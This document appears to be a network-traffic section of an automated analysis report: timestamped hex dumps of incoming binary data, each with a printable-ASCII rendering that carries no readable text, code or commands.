Data Ascii: @8>UJp7ri2O<A*.\$8\)Cxyup!>p;n__">/\T\nk47'>%E+JW(ta~X8B7{r]+,1'BY3b}4P9*]w $ m22uI$S=iR
5gT[h2|x,:U

2022-08-11 03:43:03 UTC 12047 IN Data Raw: 88 eb 99 31 8f aa 1e 6b 4a 9f 4d 0e 20 e1 45 49 33 4d 1e 65 b7 11 46 22 48 93 52 9a f0 b6 d7 cf 12 54 72 fc 
59 08 b8 1f da 47 63 79 02 ee 5e af 91 70 d2 2a 98 e4 f4 8c 24 26 26 24 15 8e aa 67 2a c1 fe 1a 00 77 7d b2 e5 e0 8a bc 
0f e5 c8 16 d8 37 48 50 bb ba bb c5 d5 d6 c2 35 c5 ca 06 a2 32 2d fc f8 a9 01 dc ef 29 e0 8e 24 10 63 bd 05 2e 72 0f 12 
d5 ef f7 ab 5e 1f 2a 5d b2 9a b5 c0 5e a3 d8 f9 a9 da 58 9f d3 83 79 b8 69 ee f3 d5 f2 2c 79 ed 2a 76 40 5b f5 c5 ca f6 58 
e1 9d f2 ee 52 f6 97 eb f9 22 2a 5d ab f8 ef 8b 9d b3 7e ab 01 77 2b 7f 96 37 fe 8a 30 df cb 74 c7 97 6a a0 9a 0b 4a 66 9f 
b1 c4 b8 2c fc 71 25 c0 64 75 43 a0 c4 06 91 3b ea 9c df ad 76 d3 b8 6e 0f 55 62 00 97 b9 fe aa fa ab 12 f0 93 1b f7 57 75 
83 82 07 2e 73 bf c2 dc 46 a5 db 65 2f 55 06 9c 
Data Ascii: 1kJM EI3MeF"HRTrYGcy^p*$&&$g*w}7HP52-)$c.r^*]^Xyi,y*v@[XR"*]~w+70tjJf,q%duC;vnUbWu.sFe/U

2022-08-11 03:43:03 UTC 12261 IN Data Raw: 25 17 f6 e5 ea cc ec 3e 3d e7 b3 cb 28 5b 15 11 a4 1c 68 55 a9 13 72 be bb e6 b6 16 b9 d7 0a 80 3d f7 33 65 
c0 f6 62 8f 5d 69 fc 57 0b 48 16 03 e2 8b cd 81 32 af ae 52 af 7e f5 fb 75 ea 81 17 31 26 d7 e9 d1 d6 7c 99 2c e0 9e dd 
08 2d ef f7 71 9e 25 21 e5 b7 17 70 cf 6b 3f 64 48 59 f5 0d b9 55 28 5c 34 4a 7d 7d 9d c4 82 61 99 7b 36 a5 a6 a9 45 19 
ee a5 32 60 eb fc e2 0b c1 f2 5a 37 bd 65 c1 f6 b5 c6 df d5 2c 64 a5 16 f7 1a d7 d3 15 49 d9 bc a0 c7 42 f8 d2 51 dd 18 
12 82 09 98 9c 9a e2 a1 0b 52 21 1b bf ff 5d 4a b9 60 10 80 9d 0a 10 79 1e 26 91 1f 9e 95 99 f3 57 24 35 32 21 75 90 39 
a1 d9 5b 82 80 7d db c9 c3 32 f8 97 7f 22 fe fd bb 14 c4 06 4b 39 16 93 d0 f5 3b 32 f5 fe 19 99 bf fb 80 c0 04 18 e9 04 5b 
72 d9 e8 a4 84 a9 51 1d 00 68 00 82 00 2e 20 9b 82 c3 
Data Ascii: %>=([hUr=3eb]iWH2R~u1&|,-q%!pk?dHYU(\4J}}a{6E2`Z7e,dIBQR!]J`y&W$52!u9[}2"K9;2[rQh. 

2022-08-11 03:43:03 UTC 12277 IN Data Raw: dc 0d 80 6b be 28 bf 9e 16 bc a0 26 53 04 7e 08 b8 77 6d 92 be ff f6 67 d4 c0 27 e0 8e 2c 06 7c 46 83 c1 69 
96 9f d6 7a 4d 4f 93 15 93 d4 bc 72 1b ff 9d 61 b2 30 38 86 e0 03 00 29 0d ea 1a a9 fa 30 5e 9c bb 36 2c 33 1f 5d e0 b8 
af a4 a6 2d cc 74 75 ca 7b 91 b9 a7 aa 0a d0 2e a5 c0 b1 aa 2a a9 d9 d4 29 2d 00 dc df 38 2e 75 1a 70 07 40 80 fe 9b 3d 
3f 28 cf fe f6 7b 94 53 a0 b4 8b bb 4e 05 6a c1 0a 4e 26 a4 6e 5b 8f 34 9f 3e 26 f5 7d 5b a5 ca 55 c3 b6 52 e9 f5 55 0c 46 
f8 6f df 17 df d5 61 89 4e 4c 29 d6 7f 55 95 02 e3 00 b8 83 59 0f f9 97 e3 87 15 53 91 80 bb 8d 7a dd de 33 97 65 14 80 fb 
d3 51 05 b8 53 52 61 65 30 21 7d 16 e2 86 06 19 8a 4a 25 23 01 d0 ce 6e a3 19 22 4c 1e 19 ac 00 e0 a5 4d 04 93 be 00 
65 0e 18 a8 81 94 06 6f 8f 60 0b db 05 72 1f 9e 7d bb 
Data Ascii: k(&S~wmg',|FizMOra08)0^6,3]-tu{.*)-8.up@=?({SNjN&n[4>&}[URUFoaNL)UYSz3eQSRae0!}J%#n"LMeo`r}

2022-08-11 03:43:03 UTC 12293 IN Data Raw: f4 ce 56 e0 96 51 8c 63 06 f3 f0 99 c5 70 1f c8 3c 01 f7 7f 28 87 bf fa 94 8a 21 db eb cb 60 63 43 56 de fb 48 ce 
7d e7 7b 72 09 e1 2e ce 9f 97 e1 68 48 78 27 6a cb fb c2 99 ea ee b7 11 91 07 e0 2a 92 ff de 73 8f dc f9 37 ff ba 1c ff e6 
f3 32 8f 90 3a b3 73 04 bc 36 57 6e ca f2 db ef ca e5 1f bd 24 37 5f 7f 47 b6 09 8c 01 70 07 40 ad 64 45 01 ee a6 51 25 13 
78 52 cf 64 c0 fd 1e e7 8f 63 69 b5 55 c8 18 5c b2 e0 df 29 00 33 0b 32 73 fc 30 c1 76 84 93 d8 7f ef 3d b2 70 fb 49 3e a1 
27 78 42 67 f6 1d 19 ac af cb d6 d5 65 82 cc f8 99 42 f2 d1 23 87 94 47 b7 4e 0e 8a fe 7a d7 6f c8 ea 67 67 65 f5 bd 8f e9 
e9 bb f9 e9 39 e9 2d df a0 37 2f d7 74 e6 11 a9 12 bf 76 66 71 89 05 5a ba 2a 8c 01 7e 71 91 63 5e 0e 10 e4 cf 9c 97 f5 
3d 93 ba ac 03 38 42 cf e4 56 8b c9 38 
Data Ascii: VQcp<(!`cCVH}{r.hHx'j*s72:s6Wn$7_Gp@dEQ%xRdciU\)32s0v=pI>'xBgeB#GNzogge9-7/tvfqZ*~qc^=8BV8

2022-08-11 03:43:03 UTC 12309 IN Data Raw: dd e9 41 d9 ba ca b7 c7 5b 67 c2 8c 0d e9 b8 51 45 c2 7d 13 9b 3d e7 72 da f2 0a 89 c7 80 a1 c0 9a c1 c6 24 
d2 28 5f 7d b8 75 3c 99 bd cd 54 1c a2 97 82 c2 06 60 35 ea d5 bd 06 28 31 d6 95 06 6a b2 09 8c ed 38 63 2a 54 d7 c5 
41 18 ac 6e ec 35 ae c0 8d 71 88 0c 87 a7 65 76 ac c7 59 3b 3c 13 ee 3c 47 c6 12 33 3c 32 6d 50 7d 15 b3 69 e3 05 ea 
7d 81 e1 3c cc 48 52 4c 45 5e 27 81 ee a1 4d 2f 26 7f 9a a6 82 b3 81 cb 0e 5f 3b c6 4b 9b cb c1 79 87 80 76 1b 1e 0a 6c 
45 6d 7b 95 a6 4a 6f 6e ea 51 89 83 44 58 26 cb 8a 72 62 ec e6 86 5d e3 a9 68 e5 21 4f 08 70 4f d9 2b 6d db 31 33 24 3
3 4f e0 bc 4e 63 78 04 5e 9c f8 74 a3 dd 5b 68 37 4e 9d 25 4d 55 40 be f2 62 e8 89 fb 99 a0 b2 83 3a 95 63 b7 30 2f 77 2
8 e6 3b 6f 08 a7 92 f1 19 f9 32 c0 a8 47 28 92 b9 43 12 d5 65 11 
Data Ascii: A[gQE}=r$(_}u<T`5(1j8c*TAn5qevY;<<G3<2mP}i}<HRLE^'M/&_;KyvlEm{JonQDX&rb]h!OpO+m13$3ONcx^
t[h7N%MU@b:c0/w(;o2G(Ce

2022-08-11 03:43:03 UTC 12325 IN Data Raw: d8 97 f2 4b ed ac b7 2b 64 eb 54 92 48 73 5e de 7a 2c 85 5e 46 12 80 52 d6 47 7a 4e be 7c 20 2d 4c 8b 24 6a 
64 4f 80 a6 44 bc ff 80 ed 37 ff 84 d7 df fc 23 9e 1d df e0 b6 3a 22 8d 6a 01 6f 14 4d 4f 82 48 ee a4 62 fd 0d f6 6f 1f f1 20 
80 fb f1 e3 67 b8 db 99 ec 26 63 f7 5b 9b dd ce 91 bd 02 18 7c 49 1d 1d 4f a6 bd 28 5e 0a 84 bb fa 64 47 4a 06 f5 33 1b 
df 6e 71 5d e0 d9 27 c0 7d a9 ed 0a fa 0d 76 cf f3 a2 c1 10 3f e7 2e 33 ea 78 1d a9 7a c3 e3 70 9e 97 4f ae 11 98 ec bf 6f 
c8 7c ca b3 9e bf 04 70 77 2d e5 f2 99 b3 43 2e a1 c6 94 7a fa 3c 58 0f be 3e 5f bc e1 39 df ce 85 ad f5 e6 88 95 2d 80 
ea df 70 2f 36 6a 9c 73 c7 bb 2b ef 6a c1 57 d9 d2 29 62 d3 16 98 00 d8 31 28 2e e3 18 f8 be d0 a1 5c 2a a9 2b de 75 6f 
d6 2e d0 d5 9c 40 6d c1 a6 fc a3 02 2f 17 a8 c1 
Data Ascii: K+dTHs^z,^FRGzN| -L$jdOD7#:"joMOHbo g&c[|IO(^dGJ3nq]'}v?.3xzpOo|pw-C.z<X>_9-p/6js+jW)b1(
.\*+uo.@m/

2022-08-11 03:43:03 UTC 12341 IN Data Raw: 57 01 ee b1 e2 45 27 e0 2e 5c ec 9a ab bd 55 60 79 cf 75 eb 58 57 f0 1c 39 4d 7a ea 13 d7 7e 02 cf c2 d3 ce 
4b 46 35 1d 0c 1f 21 0f ba 30 15 49 26 bd 4a 24 91 97 04 06 bb b0 86 41 fa 24 97 a5 2a e0 5f 32 ef 85 5e 46 8d 37 81 7c 
89 33 44 66 a0 28 1b ec 77 05 7e ff 66 87 fc 50 a2 2a 73 e4 c7 1c c7 b2 92 ac 74 41 fb 63 f5 32 41 5d a4 da 08 e0 2e 59 
fe 20 f5 4d 86 e7 77 19 9e dd 26 b8 bd 59 61 c5 44 24 d2 ca b4 ad c8 c8 bc 9e 6c 45 50 3d 41 d1 f0 84 6a 83 03 e3 fc a6 
96 4c fe 75 c6 e4 1f 4e d5 06 65 45 00 5d 9d 12 10 ba 4e 1d f4 9a 4b 65 3b 1a 4b 7d 61 2c 5f 24 50 8d a2 e7 98 f2 d5 c8 
09 c2 4b 76 4a 22 d4 8d f5 b1 46 5b 8d 00 ee 7a eb e1 b4 c8 de 5e c5 2e 71 b6 59 b3 8c d0 6c 66 58 3e 08 93 32 85 86 
08 c1 9c 89 d5 9d 51 b1 8e 0a 58 02 8f cd 91 20 f9 c6 dd 7e 
Data Ascii: WE'.\U`yuXW9Mz~KF5!0I&J$A$*_2^F7|3Df(w~fP*stAc2A].Y Mw&YaD$lEP=AjLuNeE]NKe;K}a,_$PKvJ"F[
z^.qYlfX>2QX ~

2022-08-11 03:43:03 UTC 12357 IN Data Raw: e3 c9 8f ff 0b 16 6f bd 0d 5c 9c c3 75 08 1e d9 40 aa 07 32 b2 0e 9b a8 76 7f 6b ae c6 27 5d af 1f 7d 0c ee d9 
d4 a3 4f 49 ea 9e 69 35 07 45 5f f5 35 3b 7f ef 74 d2 b9 6b e9 7a bc 37 a4 79 fb da 7e 43 b6 16 70 7f 46 1c 2b 53 8a 36 
87 b7 a9 a0 d6 cd c8 0d 63 3d c3 2a 0b 71 7e 74 0a 7c ed 3a ee fc 7a 80 eb 37 32 8c 08 50 26 01 b2 38 50 4c 9a c0 28 
93 24 a8 cd b5 56 02 95 12 70 e7 b8 9e 08 83 5c c0 ec 9c 40 7c 22 ec 72 2c e6 a2 cf ee 3c fe 18 78 7a 1f 98 3f 11 a0 dd 
c9 13 38 64 83 87 47 c8 a7 37 90 9f de 05 66 67 2a cf 52 e8 6d a8 1e b4 02 ea 9c 13 42 03 a8 8b 27 a0 9a e9 42 31 36 
b0 a7 e7 a8 b4 0b 27 0f 1e 04 44 2b 65 b7 5b d2 05 59 c3 f2 ab 11 e5 29 8d 51 d8 2d 19 f8 f0 95 d1 2c 80 bb b2 ee 1d a6 
23 12 31 04 de 17 ca 88 97 a0 ad 73 45 49 29 07 33 9a 89 5e 
Data Ascii: o\u@2vk']}OIi5E_5;tkz7y~CpF+S6c=*q~t|:z72P&8PL($Vp\@|"r,<xz?8dG7fg*RmB'B16'D+e[Y)Q-,#1sEI)3^

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:43:03 UTC 12373 IN Data Raw: 3b c5 82 39 d0 6f 82 df eb a9 be 20 9f dd bf 95 32 db 65 2b a0 ee ea c6 3c 59 a4 58 8f ef 6c e7 d2 98 af d9 bc 
6d c0 ff 5d 4c 9a 2a 38 5c d7 98 d5 0d fb 06 68 bc e7 22 5d b1 8f ba bd 5b 51 a4 ba bd aa f9 72 fd 95 fe a5 57 65 ca 9b 
ed cd 72 56 1d 81 5e 36 d4 d6 0e 5d 09 34 b5 f3 2e 60 48 99 d4 63 f2 d5 da 6d 6e ec 0b 0d f7 b2 5d 6c d9 c3 70 2b b6 6f 
14 c9 36 d4 7d 50 ca 65 dc 69 2f 93 da eb e5 ae 5e dc fa 7e 57 86 7b 53 46 57 0a 7e ee d3 34 3b da 69 b9 9e 45 12 75 
13 e0 ae 65 bb aa b9 a9 ae 3c 2d 06 dd dc 3c 26 a1 5d eb 67 77 29 e5 86 b4 de 53 dd da d5 36 e8 5a ca 70 a5 76 d7 68 
ec 83 87 db e6 0b 57 09 ba d7 b5 7b df e2 1a 87 b8 8e e1 2e 5a 86 51 84 74 b1 44 c6 ab c8 e2 f4 75 1b c7 d6 13 3d 5d 
29 5d 0c 2b 6f f7 c9 b3 01 70 d7 65 66 0d 30 09 d3 ca ac 29 e1 
Data Ascii: ;9o 2e+<YXlm]L*8\h"][QrWerV^6]4.`Hcmn]lp+o6}Pei/^~W{SFW~4;iEue<-<&]gw)S6ZpvhW{.ZQtDu=])]+opef0)

2022-08-11 03:43:03 UTC 12389 IN Data Raw: 5f df 16 b5 3d 25 07 80 d6 19 57 db be 5f d3 c6 f5 8c 9b f6 8e 99 ea 4b 3e 99 65 b3 63 c5 40 09 01 4d f1 c4 56 
76 48 0d 44 a8 bd 2b ae aa f5 bb b8 1e 2e 15 d4 d7 43 cc e2 d9 ad 7b ff f6 96 df f0 84 0e fe a5 7a af 6b 40 ef b7 7a 3f 6d 
03 db 3d f7 e0 fd 4b d8 58 23 83 7b 03 b2 57 39 44 82 aa 86 c6 e1 46 a3 4e 5b 78 af 76 ae bd 54 f5 df 65 5f df da 3e a8 
92 d8 a3 00 fe ca e5 15 e7 4a 83 62 43 59 6b 92 32 f5 27 f7 a8 c3 62 78 5c e1 e5 a6 d5 0d b3 08 87 d3 ae 59 37 1a af eb 
0b b5 6a 65 91 31 b8 6b 39 9a d6 bb 3e 07 9b bc b7 4b 59 6a 53 73 6b 3d b6 3e b0 a5 80 57 28 db ca 94 83 f4 dc 34 aa 
96 c1 ab 96 b5 49 5b 57 fd b3 cb c3 db da 68 cb 7e b3 6f 56 97 06 af b6 94 00 ee bd 1e a2 b6 07 4d 55 9a 4a 31 9b 62 3e 
1c a1 24 f3 d1 81 b7 bd 17 dc cb 58 fd a5 79 e3 1d 17 
Data Ascii: _=%W_K>ec@MVvHD+.C{zk@z?m=KX#{W9DFN[xvTe_>JbCYk2'bx\Y7je1k9>KYjSsk=>W(4I[Wh~oV
MUJ1b>$Xy

2022-08-11 03:43:03 UTC 12414 IN Data Raw: 67 6f 51 5c 5e 0a 74 9f 0d 33 fd cc 87 99 00 78 25 35 4d 24 a4 34 3d 6e 60 82 ac 1d 00 42 af ac 4d 4b ca fc 3c 
6e a3 ff fd 3d 3c 78 da 47 b3 db 93 5c 5b 49 67 15 eb 49 40 be c3 3e ea 22 9b 8d 91 bd f9 15 f0 ee 4b 6b 96 a3 13 03 b3 
09 74 f3 5a 3a f1 75 8f 03 bd 62 58 db 5a 2c 90 96 ec 54 82 a6 04 dc e9 5c 55 54 8c bc 0c 2e 5f 97 5b ce 05 46 df 31 52 
20 a8 c5 f1 3c bd d4 11 44 4a ff f8 33 24 39 c4 b1 4b d0 9b 7d 2e 49 20 6e 06 19 2a b2 c4 f7 4f 80 bd 13 cd d1 ea cb 9f a2 
f8 ec 2f 51 32 ba ef e8 11 1a 8f 9f 23 df 3f 30 ed 68 96 5d f9 01 d8 e0 94 1f 31 e7 9d e4 56 1c b8 5d 9a c2 b5 1d e0 89 4a 
13 2d 75 b3 af 2c 91 ab 00 77 e6 17 68 b7 ad 7c dc bd 62 7f 92 dd 35 47 ce 6b 8b 29 4a b6 91 34 e0 3d a1 a9 00 73 26 
91 e4 f7 1c 10 95 39 79 08 ba 0b c4 4c bd 33 74 30 
Data Ascii: goQ\^t3x%5M$4=n`BMK<n=<xG\[IgI@>"KktZ:ubXZ,T\UT._[F1R <DJ3$9K}.I n*O/Q2#?0h]1V]J-u,wh|b5
Gk)J4=s&9yL3t0

2022-08-11 03:43:03 UTC 12430 IN Data Raw: 07 dc e7 33 94 a0 33 61 0f 59 63 df 12 ca 36 3a 98 67 0d 8c 67 25 c6 63 4a 8b 98 24 50 0a b8 07 10 2c 50 57 
b6 0e 9d b6 4c f0 6e 3b 98 05 24 2e 72 ba 50 67 5d 49 68 4b ca a2 d8 7e aa 40 22 3a 31 9d f5 be b4 ad 84 cf b7 76 fc d9 
ee a9 e4 aa 89 ed 67 a0 bb 0d b3 5a 36 de cd 0c 7d e6 e9 21 6a b3 23 d9 0e 23 df bc 80 ed 15 33 81 65 34 10 de 12 a7 
92 c9 ee 5b bc 1c 00 7c 2e df 2d 76 7e 96 89 d5 3e 9a 4a 55 0b 8d 46 85 1e 55 92 b8 4c 78 f7 46 1a 10 01 d8 c2 b9 dc 
3e 58 f0 14 6c 3e cb ce c8 ed 5d 02 dc 4b 14 f3 4a b2 2f 96 c0 34 43 b3 dd 94 8c 8c 69 b0 93 ed 4e 26 ba b1 d4 e5 e4 d5 
10 72 3b 54 76 60 9a 14 d6 35 f8 1d 58 67 df 51 9f bd 41 c7 17 9f c3 08 4a 39 80 6c 0e d0 a1 12 f9 04 38 76 cd a4 b3 79 
c6 a6 e5 b5 b3 c9 1c c5 84 f3 b7 da 02 b8 c7 21 29 3d a0 6d 03 
Data Ascii: 33aYc6:gg%cJ$P,PWLn;$.rPg]IhK~@":1vgZ6}!j##3e4[|.-v~>JUFULxF>Xl>]KJ/4CiN&r;Tv`5XgQAJ9l8vy!)=m

2022-08-11 03:43:03 UTC 12446 IN Data Raw: 2c 75 6d 17 b0 35 77 00 89 89 1f 91 7e 91 a3 5b f2 46 0b 00 7a e6 3d f6 b6 55 25 47 f4 f4 fc ca ae ce ae 6c 31 
ab 37 00 ee b1 c7 5e 39 56 7c 08 a6 7e 70 41 ef 30 b2 09 78 bd cf c1 69 dd 7b 3e ea 67 32 d9 f5 6f 5c dd 60 f6 0f 35 f7 00 
db d7 61 22 fd fd f4 6a 29 36 35 67 ff 18 db 2f f8 a6 b3 b7 8f ca b8 72 db 3e 5a d7 24 eb ee dd d0 74 8f d2 85 1b ca fc 83 
03 2f f7 a9 dc a6 ce 59 69 bf 6b cc 9c de 7b 1e 1b 6c 6f 8f 62 4f 05 ba 3f 35 78 77 53 1f 3c d2 bb 1f 05 70 6f e7 db a7 1c 
28 6b 1a e3 01 af 5b 05 dd 9f 7c bc 3d a0 ac 1f d4 fc 1e 7d 1f eb 7c fb a8 b6 38 8f 59 ae 6e c0 dd 67 f6 b8 7e cf ba 72 39 
59 f4 fa 52 b6 66 be be b1 79 ee d1 76 5b 55 26 36 90 ba b6 ff ef 4d 37 6f 68 f7 27 b7 c3 db 2a f3 18 f6 b0 da c6 b9 39 14 
3b d1 01 77 81 94 11 4a c9 46 af 9e 4d 
Data Ascii: ,um5w~[Fz=U%Gl17^9V|~pA0xi{>g2o\`5a"j)65g/r>Z$t/Yik{lobO?5xwS<po(k[|=}|8Yng~r9YRfyv[U&6M
7oh'*9;wJFM

2022-08-11 03:43:03 UTC 12462 IN Data Raw: 8f 07 de 6e e8 e9 63 d3 38 0a 68 07 80 56 d8 d2 99 e8 12 0a 79 80 a1 aa 4b b2 b2 05 32 7b 54 85 b3 91 c9 
97 1a 32 40 8a 1a f1 71 02 18 06 50 05 93 13 99 99 81 74 fa 97 66 d3 4b 67 9d e3 f4 22 01 27 c9 39 05 64 76 89 a2 dd e7 
44 ff c0 4e c7 a1 72 26 d4 ad ae 76 fc 87 2a 02 da cb 46 70 24 d4 56 95 80 ab 63 2b f6 8e ad 7e fe 99 35 ac 19 94 5f ec 
76 da ce a5 3b 84 64 c1 72 97 6c 09 f5 85 e5 be b4 02 b9 22 92 af d2 77 94 07 30 5b 11 08 d1 7e e4 09 11 60 ef d2 3e 02 
dc d3 29 92 89 54 b9 76 8a f4 11 f2 2b 13 47 02 a9 23 a0 7b 01 40 df b3 0b f5 6b 38 f7 60 68 2b c1 aa b7 81 3b f7 1a 31 
c8 d3 f1 e0 51 00 3e cf 0b 0b 04 d4 c6 81 84 f3 04 83 a3 6c 72 0e 0d d4 c6 76 81 d6 fd 55 d4 85 67 e3 84 89 31 cc 73 c2 
d1 26 9b ca be 94 76 3a cf 3d 56 82 dd 66 be 34 3b 7b 6b c5 
Data Ascii: nc8hVyK2{T2@qPtfKg"'9dvDNr&v*Fp$Vc+~5_v;drl"w0[~`>)Tv+G#{@k8`h+;1Q>lrvUg1s&v:=Vf4;{k

2022-08-11 03:43:03 UTC 12478 IN Data Raw: ea f3 a6 c0 76 1f 1c de c2 a0 bb 2e 60 77 51 7d df e2 fd d3 c2 97 a2 c2 d7 02 dc 5d e1 17 bd cd cd 7d 7e 83 8f 
7a eb 63 ed ba 65 bf e1 7a 7e a3 38 bf 0f e5 4b 65 48 43 f8 74 99 ce 0a 8e 9f fe fd 45 80 fb 75 fb ed ba 72 9d 55 7f 6b ca 
b6 f1 80 e8 a4 64 6e fc 9d eb 5c 78 ee 3b a4 c3 99 25 05 c8 c6 c9 a9 3b 1d 87 19 01 ee 73 9a f3 84 a4 cc 9a 72 6c d4 c5 
ce 63 b8 c7 0d da 2a dd e8 86 9d 82 e8 fa d8 b8 8b b1 79 c6 fc 75 03 80 fb 1b 45 7b a3 ef 6e b8 4e 9d 1e 13 dd 7a 4d b7 
08 86 bb c0 13 1e 4c c4 70 2f 51 cf 56 0c 77 01 ee 27 36 1b f1 8f d3 f3 4a 1a 3b ed 0b c4 5f d2 b9 ed 74 95 b5 d7 9d 04 
d4 7d db 38 fd e8 3f 6f 3e ff 0d c0 5d 45 5a 1d ac d2 d7 05 d4 b4 ff 90 de 86 40 45 9d 93 08 62 08 40 21 68 c3 83 3e 75 
dc 3b 80 7b 75 0f 55 3d 08 c3 aa 60 fd a9 ed 13 38 
Data Ascii: v.`wQ}]}~zcez~8KeHCtEurUkdn\x;%;srlc*yuE{nNzMLp/QVw'6J;_t}8?o>]EZ@Eb@!h>u;{uU=`8

2022-08-11 03:43:03 UTC 12494 IN Data Raw: 4e c9 0e 94 b4 ed e5 36 37 8c c3 7c 64 de 08 72 88 60 81 8c 1c 29 23 f3 ed 37 a8 69 6a cb f7 08 c3 d9 9c 1a 
d7 d2 bf e5 6b 85 91 a2 52 b6 d3 90 4a 20 ad 03 40 ad 61 6a b0 79 a9 9f 9b 0c 51 0d b6 9b 81 e6 17 30 bf 52 ef 10 93 87 
d8 76 71 62 17 68 14 6d 4f 69 16 ea c1 0a 5c 8a 4c 8a 9a d2 43 d4 de 1f 0d d0 ff e8 63 f4 3e fb 0c f9 ce 8e 80 ed 8a d9 
13 04 ad 45 80 0e c0 3d e9 ce a7 43 b9 e6 5b 8f 2d d5 8f 50 a7 04 47 79 2e d0 f0 e8 a0 26 d6 ba 0f 9d fb 14 28 89 3a 77 
86 45 32 78 b5 14 92 cd 7e 1b 79 7b 90 89 cf 32 f1 1e d4 9c d7 67 ac 4b 82 ea 34 fa 4d 4c 7c b2 a1 59 76 81 ca 5c 4b 32 
34 0b 6a 82 3b bb 24 ef bd 44 56 fe 0a 4d f5 d7 c8 40 a9 8a 3b c8 b1 13 f4 48 8e 35 82 9e 06 b8 65 bc aa 1f 82 84 51 e7 
91 f1 21 2e 3c 83 62 64 0a d6 d4 3a a6 f4 82 a5 4c 2a 9a 
Data Ascii: N67|dr`)#7ijkRJ @ajyQ0RvqbhmOi\LCc>E=C[-PGy.&(:wE2x~y{2gK4ML|Yv\K24j;$DVM@;H5eQ!.<bd:L*

2022-08-11 03:43:03 UTC 12510 IN Data Raw: b3 56 01 9f 0a 6c 98 c9 ae b1 24 7d 6d 83 c3 81 fe 84 26 82 78 97 9e eb c2 fc d2 14 66 6b d3 6b 56 56 56 43 
30 41 cb 05 96 0b 66 0a 2c 1d a8 ea 8e 64 5e 49 a0 99 e0 6a c5 f2 8b 91 1e 46 a5 20 c3 de c8 12 41 51 49 81 68 98 87 
ac 95 98 fa 43 80 e0 3a fb 9c fa 94 35 c1 a5 19 af 39 3d 05 5d a3 ec 2c 2b eb 43 c1 89 c2 df 25 e3 da f9 21 f1 1e 33 64 d4 
d0 0f 33 db 92 40 3e 25 bf e6 94 cb e2 38 62 f6 46 57 46 a1 d2 40 27 14 48 e6 39 af 91 79 2f 4b ed 79 c8 c7 b7 30 29 54 
50 32 f6 36 bc 67 e8 a6 d7 ec 5b ba 90 f5 dd 43 51 0c 14 c4 53 d0 2a e9 40 53 42 6a 31 41 35 3f 94 4c 4e 4e 70 75 74 07 
19 35 d2 77 ee 7b f9 39 7a 0a 1c 3e 45 3e 1f bb 4c 94 fa 51 10 23 a4 76 ba 43 d7 57 ce 4c 8c c8 10 61 11 25 87 43 56 ac 
4d bb 59 87 0a 8a 26 50 d1 a8 a1 7f 9a f5 51 1b 37 4b 1e 
Data Ascii: Vl$}m&xfkkVVVC0Af,d^IjF AQIhC:59=],+C%!3d3@>%8bFWF@'H9y/Ky0)TP26g[CQS*@SBj1A5?LNNput5w{9
z>E>LQ#vCWLa%CVMY&PQ7K

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:43:03 UTC 12526 IN Data Raw: d2 29 2f 19 37 9e 41 b6 8c 71 49 a0 6c a5 28 8b ef b6 e7 39 67 00 28 e3 4d 19 0d 6e 0f 9b b0 ba df 8b d5 2e 
d6 ba d9 f8 dc 5c 2c fa dc 93 f6 f1 fd 1c 0f 5c 2b 19 a3 6c d6 d2 7a 96 fe f2 62 ad 67 e5 1e 03 59 2d 85 12 c9 fe 11 e0 9e 
86 f4 a5 af 6b 4b e7 4c ae c2 ca 57 30 5d 73 fe 36 00 e3 74 16 ef 91 15 c8 54 70 84 e0 11 e5 4e a6 be 6e c1 fd 1d b8 95 
26 be b2 86 a9 57 b2 8f 1c bc 53 66 83 f6 78 34 8b 25 65 98 8f 44 1a d0 58 28 fc 8d 36 36 cb 4d 6c 4e 35 0f bd 03 dc cf 
1e eb de fd eb 17 5d 03 17 cd bb 83 f1 f6 73 bd db 9f 05 f8 bb eb 97 bb 26 50 54 1e fb b6 24 66 7e 16 b6 fb 5d d7 dd 55 f7 
7b 53 d0 f2 dc fd 6f 02 46 5d 55 b4 fe f3 3b 2e e3 b5 9e 7b c3 3e a7 3d c3 9f a3 9c c3 97 b9 45 99 5f a9 8b 3b 78 87 1e 88 
be 2a 49 65 bb ff bc 56 93 dc 79 59 5f 07 aa 5f 
Data Ascii: )/7AqIl(9g(Mn.\,\+lzbgY-kKLW0]s6tTpNn&WSfx4%eDX(66MlN5]s&PT$f~]U{SoF]U;.{>=E_;x*IeVyY__

2022-08-11 03:43:03 UTC 12542 IN Data Raw: 24 e8 ae b4 73 33 e8 05 5e 4a e2 23 19 9d 4a 41 f7 81 d6 40 f7 42 00 af b4 59 67 b3 18 c1 c8 57 90 23 65 5a 
00 80 61 e9 26 10 2d 4d d8 62 54 56 24 5d d2 48 55 41 76 3d 1b 93 b8 72 68 36 03 4d 87 f1 d4 30 d7 99 39 19 f6 6a 1a 
c8 ba 9b 4d ac 61 b9 ab 4a eb 98 48 47 d9 e3 47 ac 36 00 2c 49 d6 58 ef ba 97 95 11 71 7c 2d 86 3b d9 45 68 d0 4e 1e 
dc 37 bb fd fe 81 ee b7 3e 39 95 41 1e 6c 66 0c 60 27 d3 89 8c 58 c5 24 54 72 40 13 9b e5 46 72 34 2a 63 9a 84 da 2c d4 
cc 3a 02 09 92 9d 58 2d 63 83 c6 3d 8c 60 7c 3c 76 61 39 ce 1c a4 40 c2 08 e6 aa 70 e5 51 54 a9 91 2b e6 2a 3a ef 2b 9
8 f3 66 fc 9b c1 0e e3 38 4d 6c a5 bb 6c 73 5b ca 8a b9 eb e6 14 70 12 d0 fb 20 26 7b 9b 98 1e 7c 1b a3 dd 3f 46 4c 9f 0b 
6c ee 1e 7e 1e f1 f0 33 01 df aa 2a b4 ab 7b e0 38 65 6b 72 2e 
Data Ascii: $s3^J#JA@BYgW#eZa&-MbTV$]HUAv=rh6M09jMaJHGG6,IXq|-;EhN7>9Alf`'X$Tr@Fr4*c,:X-c=`|<va9@pQT
+*:+f8Mlls[p &{|?FLl~3*{8ekr.

2022-08-11 03:43:03 UTC 12558 IN Data Raw: 60 d7 26 7f 72 60 f9 1f ec 5b 76 30 b3 9e ec 09 00 6a c6 00 f7 67 ce 03 bc 5e 21 0d 04 b3 3f 32 a6 84 c2 06 20 
6a 04 fe 90 b1 e9 ac 4c a0 6a 18 be 32 2f 6b a9 27 9b 23 e6 a5 94 79 21 c9 31 64 9a 18 eb da 8b b8 a4 8e e6 19 de 96 
00 00 0c 7e 24 d5 a4 b5 ce fc da 59 ae 8c 0a fa e7 d4 ba 83 e7 d6 7d ff cf ad f8 fe 8f 2d e7 19 47 af ad 3f 7a 17 f5 ec de 
